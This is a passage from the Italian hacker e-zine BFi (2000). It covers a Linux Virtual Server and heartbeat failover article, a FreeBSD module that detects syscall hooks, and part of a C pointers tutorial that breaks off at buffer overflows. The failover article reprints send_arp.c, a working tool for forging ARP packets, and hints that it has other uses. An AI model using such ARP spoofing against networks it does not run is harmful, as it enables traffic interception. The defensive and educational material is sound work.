quanto abbiate capito di quello che ho scritto (so che a volte ho delle espressioni un po' involute), ma spero di avervi dato almeno un'idea di come funziona il programma. D'altra parte alcuni argomenti erano abbastanza lunghi e complessi da spiegare. Cmq se volete maggiori chiarimenti scrivete pure a 'tarrasque@freemail.it' o postate sul Forum di ringzer0 (http://ringzer0.cjb.net) con il topic 'beholder': saro' lieto di rispondere a qualsiasi domanda (che non riguardi la mia vita privata). Ah, dimenticavo, NON utilizzate il vostro solito account di posta per il Beholder perche': A) Non si sa mai che qualcuno possa risalire a voi B) Potrebbe arrivarvi TANTA merda -I SALUTI Ringrazio innanzitutto gli autori dei codici e dei tut a cui mi sono ispirato. Ringrazio in particolar modo il mio fido compagno di sventura RancoR, senza il quale probabilmente l'unica funzionalita' del beholder sarebbe stata quella di far crashare windows. Un grazie di cuore all'inventore delle bevande alcoliche. Saluto inoltre la crew di Ringzer0,|LnZ|,Paolo 'ometto tutto speciale', AloR (stiamo preparando un progetto per l'uni che fa paura), Pesy (la persona senza la quale questo progetto non avrebbe mai funzionato: la CAVIA), Cianni, Linda, Miki, la Bestia, Rudi, Gupy, Giamma, Maphas, Dk2DEnd, 10t80r (questo tut te lo mando in multicast), Teo, i demo coders della scena italiana, Ghisha 'ehm, no, non si puo' intercettare traffico in uscita...', e tutti quelli che mi sono dimenticato. Non ringrazio il creatore del CIH. -LA MASSIMA Spesso guardi la pagliuzza che e' nell'occhio dell'amico e non ti accorgi della trave che hai su per il culo (anche se e' una settimana che non caghi e sederti ti provoca uno strano piacere). *NaGA* ============================================================================== --------------------------------[ EOF 21/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-22100755 0 0 62067 7102660046 10755 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 22 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ LiNUX ViRTUAL SERVER - HiGH AVAiLABiLiTY -----[ felipe Eccoci qui... il mio primo articolo per BFi, e subito le domande nascono. Cosa c'entrano il virtual server e l'high availability con BFi? Semplice: nulla. Invece non e' proprio vero, perche' quello che trattero' non sara' solo una descrizione dei suddetti metodi per rendere le nostre macchine un pochino meno "stupide", ma vedremo anche di non tralasciare il lato sicurezza, che per un servizio del genere non e' un aspetto da trascurare. Non voglio dire che tutto cio' sia di facile comprensione e implementazione, ma solamente che e' (..pausa riflessiva..) "strepitoso"; piu' rifletto e piu' mi vengono in mente ambienti in cui una delle tantissime implementazioni possibili con questi meccanismi e' la soluzione a tanti problemi. Per chi non sapesse cosa siano i geroglifici scritti nel titolo niente paura vi assicuro che non siete i soli, ed io sono qui per chiarire questi concetti (e non sara' facile). Il virtual server non e' altro che un progetto nato per distribuire il carico di un servizio o di piu' servizi (web server, database, mail , ftp, etc.) su piu' macchine (cluster vi dice niente?). High availability e' un modo elegante per dire "garantire" (che parolone in networking) un servizio 24/24 ore al giorno e 365/365 giorni all'anno, il terzo non mi sembra bisognoso di spiegazioni. Ok cominciamo con il virtual server che in linux e' possibile per mezzo di una patch per il kernel e di un programmino per settare i flag giusti. Da notare che una cosa del genere "dentro" il kernel presenta un vantaggio dato dalla velocita' (cazzo sta nel kernel, ad un livello piu' basso non si puo' andare), ma anche dal fatto che il codice li' residente puo' provocare "malfunzionamenti" (crash?). Vi posso quasi assicurare che non succedera', ma e' giusto sapere che potrebbe accadere, evento non drastico visto che in questo ammasso di discorsi si tratta pure il backuppaggio (uurko) dei server. Bene, parliamo un secondino dei cluster, che fondamentelmente si dividono in due specie: uno piu' costoso costituito da hardware apposito, tipo bus scsi esterni etc. etc. (vedi ibm netfinity) e l'altro costituito da semplici server che interagiscono solo dialogando attraverso la rete. Chiaramente la seconda soluzione e' la nostra, che non solo e' la piu' economica visto che ci possiamo mettere qualsiasi tipo di macchina e addirittura qualsiasi tipo di s.o. (non sempre), ma in alcuni casi diventa la piu' comoda, se teniamo conto che possiamo aggiungere e rimuovere server dal cluster in maniera quasi completamente indolore. Cominciamo con le cose serie, il concetto e' questo: || 192.168.1.1 /| sv1 | ) xy.xy.xy.xy / |_____| intranet ) ||/ || 192.168.1.2 o )-----| lvs |-----| sv2 | internet ) |_____|\ |_____| ) \ || 192.168.1.3 \| sv3 | |_____| Madonna che schifo... vabbeh lasciamo perdere, spero che almeno renda il concetto, il lvs chiaramente e' il nostro server detto anche LinuxDirector, che rende di piu' l'idea del suo ruolo, ovvero ridirigere le richieste verso una porta su uno dei server numerati sulla destra chiamati RealServer. L'implementazione attuale prevede tre diversi metodi di bilanciamento sulle macchine, il che rende questo meccanismo molto elastico ed adattabile a svariati ambienti, la cui stima di carico puo' o meno dipendere dal carico di rete sviluppato. Uno dei metodi, il piu' immediato, e' il round robin (non lo conoscete???), semplice ed abbastanza efficace; un altro e' il weighted round robin, ovvero si va in round robin, ma si tiene conto del "peso" dei vari server; inoltre, visto che siamo pure il router (gateway) per quelle macchine, e' possibile servirsi di un altro metodo che e' il least connection in cui si tiene conto del numero di connessioni attive verso ogni server e gli assegnamenti vengono fatti al server con il minor numero. Il weighted least connection invece tiene conto del peso di ogni server e del numero di connessioni attive. Faccio notare che implementando i tipi di bilanciamento in moduli del kernel non si presentano particolari problemi di sicurezza o di qualsiasi altro genere, ma sicuramente si hanno vantaggi per quanto riguarda le prestazioni (rispetto ad un'implementazione a livello applicazione) e comunque ne possiamo utilizzare piu' tipi diversi contemporaneamente sulla stessa macchina, il che rende piu' facile la fase di test, oltre a rendere le dimensioni in memoria nulle se non utilizzati (mica stupidi sa'). Inoltre il lvs puo' essere implementato in tre modalita' diverse a seconda dell'ambiente in cui si deve inserire e delle vostre esigenze: la piu' semplice e' quella del direct routing, dove le macchine nel cluster hanno ip conosciuti alle macchine della intranet/internet, un'altra e' via NAT, ovvero il LinuxDirector funge da ip masquerader per quelle macchine, oppure via ip tunneling. Chiaramente le tre soluzioni hanno vantaggi e svantaggi che vedremo di analizzare velocemente. Le prime due sono molto simili, visto che il Director in entrambi i casi e' il gateway per i RealServer, quindi non solo deve svolgere il compito di Director, ma si deve anche occupare del forward dei pacchetti (nel primo caso) e della modifica dell'ip sorgente/destinazione e poi del forward dei pacchetti (nel secondo caso), il che limita il numero di RealServer presenti nel cluster. Il problema non si presenta nel caso della soluzione tramite ip-tunneling dove il Director compie solo il ruolo della gestione delle connessioni verso i RealServer (per mezzo di un tunnel ip, che spero voi conosciate) che a loro volta rispondono ai client direttamente senza passare dal Director. Un altro vantaggio dell'implementazione via ip-tunnel e' data dal fatto che i RealServer non sono vincolati ad avere il Director come gateway ed in questo modo possono risiedere in qualsiasi punto della rete. L'implementazione via ip-tunnel ha comunque un problema, che l'implementazione via nat non presenta, ovvero i client devono supportare l'ip-tunneling (GRE), purtroppo pochi sistemi operativi lo supportano attualmente, anche se ormai sta diventando sempre piu' uno standard. La limitazione dell'espandibilita' dell'implementazione fatta via nat puo' essere oltrepassata facendo un'implementazione mista, in poche parole quando il collo di bottiglia diventa il Director e' possibile creare un altro Director con una serie di RealServer separata e compiere una sorta di bilanciamento tramite DNS sui due Director dei due VirtualServer distinti. Quella del bilanciamento di carico fatta tramite bind e' cosa ampiamente discussa, con il risultato che in alcuni casi non ha funzionato come aspettato... se vi puo' interessare una volta trovai una specie di bind fatto in perl da non ricordo quale universita' studiato appositamente per il round robin, dovrei solamente andare a scartabellare fra i miei archivi di porcherie =) Se a qualcuno interessa fatemi un fischio. Gia' che ci siamo vi faccio presente un aspetto che puo' risultare comodo di questo tipo di architettura, paragonata soprattutto ad architetture composte da un big server costituito da una sola macchina, quello della manutenzione: in questo caso e' possibile rimuovere un RealServer dal cluster in maniera quasi indolore, effettuare le modifiche/sostituzioni hardware o software necessarie e reinserirlo nel cluster. Con un unico server per effettuare le varie manutenzioni e' necessario molto spesso un reboot o uno spegnimento della macchina che causa la sospensione del servizio. Diamo adesso un'occhiata dal punto di vista della sicurezza. Nel caso dell'implementazione via direct routing, visto che tutti gli ip in questione (director e realserver) sono "pubblici", non c'e' bisogno di masquerading, ma e' doveroso comunque impostare decentemente le regole con ipchains (sul Director ovviamente) per permettere solo la connessione verso le porte necesarie (un normale firewall) tenendo conto dei servizi che dovete offrire e per proteggere il Director stesso. Chiaramente utilizzando il secondo metodo dall'esterno e' possibile raggiungere solamente le porte dei RealServer configurate nel Director senza bisogno di configurazioni particolari; e' solamente necessario proteggere il Director con le appropriate regole utilizzando ipchains. Nell'implementazione via ip-tunneling invece ogni server (Director o RealServer) fa storia a se' e comunque vista l'elasticita' di adattamento, in questo modo e' consentito mettere i RealServer un po' ovunque, quindi non mi e' possibile consigliarvi qualche configurazione. High Availability Questo e' l'aspetto piu' interessante di questa specie di articolo. Purtroppo devo partire piuttosto da lontano, poiche' i modi per rendere un servizio abbastanza stabile e sicuro (dal punto di vista della disponibilita') sono parecchi. Purtroppo non esiste un modo migliore, poiche' a seconda del tipo di servizio e del tipo di hardware a disposizione, il problema cambia faccia. Sicuramente il metodo che utilizzeremo e' uno dei migliori disponibili attualmente poiche' 1) funziona 2) si ambienta abbastanza bene in parecchie situazioni 3) non richiede l'impiego di hardware specifico (leggi costoso). Il programma, anzi diciamo un assemblato di pezzi di codice, che ci permette di fare tutto cio' si chiama heartbeat e si basa su un semplice concetto: ip address takeover. Andiamo al sodo con un esempietto: due server, una rete ethernet, un paio di cavi nullmodem e/o una seconda interfaccia di rete sono il necessario per implementare questa soluzione (azz economia totale). Occhei, il nostro scopo e' quello di fare in modo che se il server con un certo ip dovesse schiantare per una qualsiasi ragione, come rottura di un disco, rottura della scheda di rete, crash del programma che offre il servizio che ci interessa o qualsiasi altra cosa, venga rimpiazzato senza l'intervento dell'essere umano. Quindi con l'attrezzatura sopra elencata possiamo costruire un marchingegno come questo: serial cable 2 +--------------------------+ | +------------------+ | | | serial cable 1 | | +------+ +------+ | | | | 192.168.1.1 | sv1 | | sv2 | 192.168.1.2 | | | | +------+ +------+ | ethernet | +-----------+-----------+ | | lan/wan In questo modo i due server possono "chiaccherare" tra di loro attraverso le porte seriali (che possono essere solo una, ma diventerebbe il famoso single point of failure (spof)) per scambiarsi i messaggi che permettono ad heartbeat di funzionare. Questa chiaramente e' una delle implementazioni piu' semplice, visto che i server sono solo due ed hanno una sola interfaccia di rete, comunque il concetto e' questo: il sv1 (192.168.1.1) e' il server principale, quello che non deve "morire", qualsiasi cosa gli succeda sv2 deve rimpiazzarlo. Qui entra in campo un meccanismo ingegnoso chiamato arp spoofing. Lo spoofing arp e' una tecnica che puo' essere utilizzata solo(?!?!) in una lan, ma e' molto piu' semplice e sicuro che qualsiasi altro metodo di spoofing. Dentro il pacchetto heartbeat c'e' un file send_arp.c che riporto qui di seguito per chiarezza: --- snip --- /* Send_Sppof_Arp.c */ /* This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. */ #include #include #include #include #include #include #include #include #if 0 # include #endif #include #include #include #ifdef linux # define NEWSOCKET() socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)) #else # define NEWSOCKET() socket(SOL_SOCKET, SOCK_RAW, ETHERTYPE_REVARP) #endif #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 const static char * _send_arp_c = "By someone"; char usage[]={"send_arp: sends out custom ARP packet. \n\ \tusage: send_arp dev src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void die(const char *); void get_ip_addr(struct in_addr*,char*); void get_hw_addr(u_char*,char*); int main(int argc,char** argv){ struct in_addr src_in_addr,targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; (void)_send_arp_c; if(argc != 6)die(usage); sock=NEWSOCKET(); if(sock<0){ perror("socket"); exit(1); } pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op=htons(OP_ARP_REQUEST); get_hw_addr(pkt.targ_hw_addr,argv[5]); get_hw_addr(pkt.rcpt_hw_addr,argv[5]); get_hw_addr(pkt.src_hw_addr,argv[3]); get_hw_addr(pkt.sndr_hw_addr,argv[3]); get_ip_addr(&src_in_addr,argv[2]); get_ip_addr(&targ_in_addr,argv[4]); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,argv[1]); if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(const char* str){ fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr(struct in_addr* in_addr,char* str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr == -1){ if( (hostp = gethostbyname(str))) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"send_arp: unknown host %s\n",str); exit(1); } } } void get_hw_addr(u_char* buf,char* str){ int i; char c,val = 0; for(i=0;i= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf = val << 4; if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit(c)) val = c-'0'; else if(c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf++ |= val; if(*str == ':')str++; } } --- snip --- La comprensione di questo sorgente e' veramente banale e ci aiuta a capire come funziona lo spoofing arp. Il concetto dello spoofing arp e' abbastanza semplice, per esempio pensiamo che il sv1 (192.168.1.1) vada fuori servizio, il sv2 fa in modo che le macchine in rete (altri pc, switch, bridge, etc...) credano che il mac associato all'ip 192.168.1.1 (l'ip da rimpiazzare) sia quello dell'interfaccia di rete di sv2 su cui viene creato un alias per l'ip 192.168.1.1 quindi tutto quello che era diretto alla macchina spoofata adesso arriva all'interfaccia di rete di sv2. Pe fare cio' usiamo un pacchetto arp chiamato gratuitous arp, ovvero un semplice pacchetto che serve ad aggiornare le cache arp delle macchine presenti nella nostra rete con una entry IP_SERVER_DA_FOTTERE--> NOSTRO_MAC che viene utilizzato solo in rari casi quando una nuova apprecchiatura entra in rete e segnala la sua presenza, ma oggi probabilmente non viene piu' utilizzato. In poche parole ci creiamo il nostro pacchetto dove mettiamo l'ip del server da rimpiazzare, il nostro MAC address, l'ip destinazione e il MAC di destinazione e lo spediamo. Heartbeat ha gia' provveduto a creare un alias per l'ip da rimpiazzare per fare in modo che i pacchetti destinati a questo ip non vengano scartati, il mac address e' il nostro mac, l'ip di destinazione e' l'indirizzo di broadcast della nostra rete, e il mac e' bada ben bada ben ffffffffffff (se non vi dice niente.... vabbe'). E' inutile che vi dica che questo coso puo' essere usato pure per altri scopi molto divertenti *yawn*. Una cosa da non trascurare e' data dal fatto che se le macchine sono attaccate a switch o hub intelligenti il giochetto non funziona poiche' codesti marchingegni diabolici si tengono una tabella con le mappe ip-->mac addr (altrimenti uno switch sarebbe costretto ad emettere un broadcast per ogni pacchetto in transito) che alle volte e' difficile prendere in giro :), per esempio se i due server in HA sono attaccati ad una porta dello switch e la nostra postazione e' su un altra porta il gioco non funziona perche' in questo caso dobbiamo attraversare lo switch che segnala l'errore, purtroppo non ho a disposizione un ambiente di test visto che l'azienda dove lavoro usufruisce di tecnologie medievali. Se pensate di usare questo meccanismo su internet vuol dire che non avete capito come funziona arp e per la salvaguardia dei miei polpastrelli non saro' io a spiegarvelo visto che doc sull'argomento si trovano pure nei tombini :DDD Heartbeat spedisce un bcast di questo tipo ogni t secondi per tenere viva la cache delle apparecchiature di rete, per fare in modo che se le macchine che gestiscono le cache hanno delle scadenze non inviino delle richieste arp e ci freghino perche' il server rimpiazzato potrebbe rispondere prima di noi e fotterci. Adesso che il modo di rimpiazzare un server fuori servizio ci e' chiaro (spero) possiamo tirare qualche conclusione su come organizzare il nostro cluster, la prima cosa da mettersi in testa e' l'identificazone dei single point of failure (spof), ovvero i "punti" cruciali del nostro sistema, gli elementi vitali, gli apparati essenziali senza cui il sistema va in failover. Immaginiamo il cluster piu' semplice possibile, quello composto da un unica macchina, il spof e' il sistema stesso, qualsiasi cosa gli succeda il servizio non e' piu' funzionante; immaginiamo adesso un sistema un tantino piu' avanzato, quello composto da due macchine con una scheda ethernet collegata alla rete ed un cavo seriale tra i due sistemi, i spof sono il collegamento seriale che permette ad heartbeat di funzionare, quindi quello e' il nostro punto debole, quello da ridondare, e cosi' via fino ad eliminare tutti i punti "deboli". Rimanendo nel pratico, il primo disegno (se tale si puo' definire) e' una configurazione accettabile e soprattutto economica (se volevamo spendere installavamo Win-Do$ NT), oltretutto e' possibile sostituire i cavi nullmodem con delle schede ethernet, possibilmente collegate tra loro per mezzo di un cavo incrociato e non con un hub (che diventa un spof). Idee a fondo perduto... Giunti a questo punto siamo in grado di mescolare le due cose, applicando il giochetto dello spof su un VirtualServer. Guardando il disegnetto del VirtualServer un po' indietro, la prima cosa che ci viene in mente e' che il Director e' un bel spof, infatti e' il primo problema che ci si pone. Se implementate il VirtualServer mediante ip-tunneling, e quindi avete il Director con una sola interfaccia di rete, bastano un paio di ethernet per ogni server e altrettanti cavi incrociati, altrimenti con le altre implementazioni, le interfacce di rete sono gia' almeno due, se gli slot abbondano potete aggiungere altre ethernet, altrimenti siete costretti ad andarci di seriale (che io utilizzo e funzia da dio, ma dovrete farvi o trovare in qualche modo i cavi). Ammettiamo che il nostro VirtualServer sia un mega server http e vogliamo implementare il VirtualServer via NAT (ove non vi siano controindicazioni specifiche io tendo a preferire questa architettura, le politiche di sicurezza vanno mantenute solo nel Director, poiche' i RealServer non sono accessibili da host al di fuori di questa piccola lan), questa potrebbe essere una soluzione da tenere presente: || 192.168.1.3 /| sv1 | ) xy.xy.xy.xy / |_____| intranet ) || / || 192.168.1.4 o )--+--| lvs1|-++-----| sv2 | internet ) | |_____| | \ |_____| ) | | \ || 192.168.1.5 | || | \| sv3 | +--| lvs2|-+ |_____| |_____| xy.xy.xy.xz Ok, l'indirizzo pubblico del nostro VirtualServer e' xy.xy.xy.xy , a cui risponde il nostro lvs1 sulla porta 80, il nostro lvs2 ha un alias per quell'ip sempre attivo, per quanto riguarda l'ip interno di lvs1 e' necessario mantenerlo anche una volta takeoverATO (ommiottio) l'ip pubblico poiche' i RelaServer hanno quell'ip configurato come gateway, quindi e' necessario monitorare anche quella risorsa con heartbeat. Perfetto, quindi abbiamo risolto in un modo accettabile il problema del Director, adesso i spof sono i RealServer perche' non dimentichiamoci che se uno dei server non risulta accessibile, una percentuale di connessioni (dipende dal numero dei server) vanno a finire nel void, quindi libero sfogo alla fantasia: e' possibile configurare un heartbeat tra i vari Realserver (se sono dei linux), usare un qualsiasi programma di monitoraggio dal Director verso i RealServer, in modo da identificare l'uscita dalla rete di uno di loro oppure la caduta del servizio (io uso moon lo trovate su http://freshmeat.net) per monitorare le varie porte ed escludere dal VirtualServer i RelaServer dichiarati fuori servizio. Tutto cio' e' facilmente realizzabile. Dentro il pacchetto del VirtualServer trovate pure degli esempi di script di shell che fanno quello che ho detto. Il Director lvs2 che nel nostro caso rimane idle per la maggioranza del tempo (speriamo =) potrebbe farci comodo, visto che ha una intercaccia in quella lan. Una cosina simpatica che ci potrebbe facilitare la vita e' un bel fileserver per fare in modo di non dover riportare le modifiche fatte nel nostro (super) web server in tutti i RealServer; in questo caso se i server sono linux nfs puo' fare a caso nostro, senza troppe preoccupazioni per la sicurezza visto che stiamo dietro ad un firewall ed imposteremo le regole accuratamente con ipchains... A seconda delle esigenze e soprattutto dal budget e' possibile acquistare un server studiato appositamente (varie aziende li producono), oppure metterci un semplice server. Tenete presente che se il traffico previsto e' veramente elevato e' possibile con 2 schede ethernet a 100 Mbit su di una macchina creare un collegamento a 200 Mbit tra due server linux, se non sapete come fare: cd /usr/src/linux/Documentation/; ls Come avrete potuto notare non sono sceso nel dettaglio con la configurazione del VirtualServer e di heartbeat, visto che per questo aspetto la documentazione inclusa nei pacchetti e' piu' che esplicativa, ma mi sono sforzato di rendere accessibili i concetti piu' importanti, che non vengono spiegati chiaramente nelle varie documentazioni sparse per la rete e di difficile reperibilita'. Scusatemi se non avete capito un cazzo perche' sono stato incomprensibile, il tempo per scrivere questa cosetta l'ho dovuto ritagliare da una marea di lavoro e cazzatelle varie... So: echo "piggy sei un mito"; cat flames > /dev/null E' arrivata la mia ragazza... chiudo... *click* Ahh dimenticavo gli url: http://www.LinuxVirtualServer.org/ http://www.linux-ha.org/ bye ============================================================================== --------------------------------[ EOF 22/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-23100755 0 0 14706 7102660046 10753 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 23 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ LKM : TR0VARLi -----[ pIGpEN Ho dovuto scrivere per necessita' un kld per FreeBSD che controllasse l'indirizzo in cui si trova una determinata funzione nel kernel (che si attaccava ad un puntatore a funzione interno ad una struttuta cdevsw) e l'effettivo indirizzo a cui si riferisse in quel momento il puntatore interno a quella struttura... (ovviamente prima di farlo puntare alla nostra funzione). Poi ho pensato che, per quanto banale e stolto sia questo concetto e per quanto figo possa essere scrivere un qualcosa che nasconde il nome di un lkm, e' comunque facile scoprire un lkm sul proprio sistema che modifica system calls o anche qualsiasi struttura *sw o simili... Faccio un esempio: cambio la open tramite lkm... in *BSD la sy_call della struttura sysent[SYS_open] puntera' al mio codice... mentre dal kernel possiamo sapere l'indirizzo della open. Ne deriva che qualcuno l'ha modificata (in realta' non e' sempre cosi' visto che soprattutto nel caso delle strutture tipo protosw, ecc... questo potrebbe essere stato fatto per es. da un firewall... ipfilter per es. agisce sulla pr_slowtimo della inetsw[0] (protocollo ip)) da un supporto alternativo per i protocolli (ad es. supporti di compressione o autenticazione)... ma comunque conoscendo il nostro sistema siamo in grado di capire con un po' di utilizzo quelle che sono normali (casi abbastanza eccezionali) e quelle anomale...) Vi presento un codice di esempio per FreeBSD che checka su un po' di syscalls e sputa output di questo tipo: open: altered! [function] at 0xc014db08 [syscall] at 0xc08962c8 dove function --> e' quella che sta nel kernel syscall --> e' quella a cui punta la chiamata di sistema (E' chiaro che in un caso normale dovevano avere indirizzi uguali...) Ovviamente niente di tutto questo si puo' fare se l'intruso apporta le modifiche direttamente (per es. sulla open() ) nel kernel ricompilandolo... E' pure chiaro che questo concetto sia poi portabile su altri os. Se per le syscalls in genere non c'e' problema, questo puo' nascere quando si ha un supporto disponibile via lkm o no con funzione interessata di tipo static (oppure non static, ma con nome diverso dalla funzione che normalmente si attacca al supporto; ad es. sul kernel in ip_fw_chk_ptr si "attacca" ip_fw_chk: se avete un fw vostro e gli avete fatto puntare pippo il nostro programma confronterebbe l'indirizzo a cui punta ip_fw_chk_ptr con quello di ip_fw_chk e quindi ovvio che non lo troverebbe :O Ma, come dicevo prima, un admin conosce il suo sistema e quello che installa :) almeno credo...) <-| sec_lkm.c |-> /* * Name: LKM DETECT0R * Date: Tue Apr 18 12:00:16 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * FreeBSD Abuser - Current does it better ! ;) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #5: Mon Mar i386 * * This module gives you a compare between a syscall & its kernel function... * So You can detect lkm wich modifies your system... * * Note: This code is only a way to demostrate this ... you can also modify * this for *sw structure (ex. protosw, devsw and so on...) * * Compile with: make * * Use: make load * make unload */ #include #include #include #include #include #include #include #include static int module_handler __P((module_t, int, void *)); static moduledata_t S_Check = { "scheck", module_handler, NULL }; DECLARE_MODULE(scheck, S_Check, SI_SUB_EXEC, SI_ORDER_MIDDLE); #define c(x, y, n) if(sysent[x].sy_call!=(sy_call_t *) y) \ printf("%s: altered! [function] at %p, [syscall] at %p\n", \ n, y, sysent[x].sy_call); static int module_handler(module_t mod, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: c(SYS_exit, exit, "exit"); c(SYS_fork, fork, "fork"); c(SYS_read, read, "read"); c(SYS_write, write, "write"); c(SYS_open, open, "open"); c(SYS_close, close, "close"); c(SYS_wait4, wait4, "wait"); c(SYS_link, link, "link"); c(SYS_unlink, unlink, "unlink"); c(SYS_chdir, chdir, "chdir"); c(SYS_fchdir, fchdir, "fchdir"); c(SYS_mknod, mknod, "mknod"); c(SYS_chmod, chmod, "chmod"); c(SYS_chown, chown, "chown"); c(SYS_getfsstat, getfsstat, "getfsstat"); c(SYS_getpid, getpid, "getpid"); c(SYS_mount, mount, "mount"); c(SYS_unmount, unmount, "unmount"); c(SYS_setuid, setuid, "setuid"); c(SYS_getuid, getuid, "getuid"); c(SYS_mount, mount, "mount"); c(SYS_unmount, unmount, "unmount"); c(SYS_setuid, setuid, "setuid"); c(SYS_getuid, getuid, "getuid"); c(SYS_geteuid, geteuid, "geteuid"); c(SYS_ptrace, ptrace, "ptrace"); c(SYS_recvmsg, recvmsg, "recvmsg"); c(SYS_sendmsg, sendmsg, "sendmsg"); c(SYS_recvfrom, recvfrom, "recvfrom"); /* * ..... put here other syscalls .... */ c(SYS_ioctl, ioctl, "ioctl"); c(SYS_setsockopt, setsockopt, "setsockopt"); c(SYS___sysctl, __sysctl, "sysctl"); break; } return 0; } /* # SoftProject 2000 - Digital Sekurity for Y2k # Sikurezza.org - Italian Security MailingList # # COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by # Poul-Henning Kamp but you can give me in return a coffee. # # Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386 # < pigpen@s0ftpj.org > .PATH: /sys/kern SRCS = sec_lkm.c CFLAGS+= -I/sys KMOD = seclkm NOMAN = t KLDMOD = t KLDLOAD = /sbin/kldload KLDUNLOAD = /sbin/kldunload CLEANFILES+= ${KMOD} load: ${KLDLOAD} -v ./${KMOD} unload: ${KLDUNLOAD} -v -n ${KMOD} .include */ <-X-> bau bau, pIGpEN ============================================================================== --------------------------------[ EOF 23/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-24100755 0 0 65107 7102660046 10755 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 24 di 28 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ ARRAY E PUNTAT0Ri -----[ |scacco| a.k.a. Marcello Scacchetti Eccoci qui carissimi lettori di BFi. Questa volta il vostro scaccone preferito vi presenta un bell'articolo sulla programmazione in c riguardante i classici problemi che incontrano i nuovi arrivati, cioe' gli array ed i puntatori. Tutti coloro che provengono da linguaggi di alto livello come ad esempio il Visual Basic non sono abituati a considerare l'utilizzo della memoria nelle loro applicazioni: basta infatti un bel Dim pippo as String per sistemare le cose. Bene... spaventatevi: in c le cose si complicano notevolmente. Quando si vuole il controllo del sistema bisogna saperlo controllare (uhm... orribile frase, ma significativa). In questo articolo affronteremo alcuni argomenti must del c; chi fosse gia' esperto in questo linguaggio puo' saltare le parti iniziali. Passiamo subito alla pratica con un bel programmino: <-| scaes01.c |-> #include #include int main(void) { int i,j; char k; char *l; i = 10; j = 20; k = 'M'; l = "Ciao Mondo"; printf("La dimensione di una variabile intera e': %d byte\n", sizeof(int)); printf("La dimensione di una variabile char e': %d byte\n", sizeof(char)); printf("La dimensione di un puntatore char e': %d byte\n", sizeof(char *)); printf("Il valore della variabile i e': %d\n", i); printf("Il valore della variabile j e': %d\n", j); printf("Il valore della variabile k e': %c\n", k); printf("Il valore della variabile l e': %s\n", l); printf("Il valore della locazione di memoria contente i e': %x\n", &i); printf("Il valore della locazione di memoria contente j e': %x\n", &j); printf("Il valore della locazione di memoria contente k e': %x\n", &k); printf("Il valore della locazione di memoria contente l e': %x\n", &l); printf("Il valore esadecimale di i e': %x\n", i); printf("Il valore esadecimale di j e': %x\n", j); printf("Il valore esadecimale di k e': %x\n", k); return 0; } <-X-> Sfruttiamo questo esempio per analizzare in dettaglio la gestione della memoria del c. In questo programma vengono dichiarate 4 variabili, precisamente 2 interi, 1 carattere e 1 puntatore di tipo carattere. Queste quattro variabili vengono inizializzate con valori casuali per poterle analizzare in seguito. Notiamo subito una piccola Tip: k = 'M'; l = "Ciao Mondo"; Vi starete chiedendo: Come mai non hai utilizzato la forma k = "M" ? Prima di tutto bisogna ricordare che in c le stringhe vengono chiamate NULL terminated cioe' quando si fa riferimento ad una stringa si intende un array di caratteri terminante in un carattere nullo (NULL). Come mai tutto cio'? Semplice, quando il vostro programma verra' istruito ad andare a leggere una stringa in memoria partendo da una determinata locazione terminera' di leggere la stringa leggendo il primo carattere NULL. Questo e' anche il principio di massima su cui si basano i buffer overflow: se fosse possibile sovrascrivere il carattere NULL si 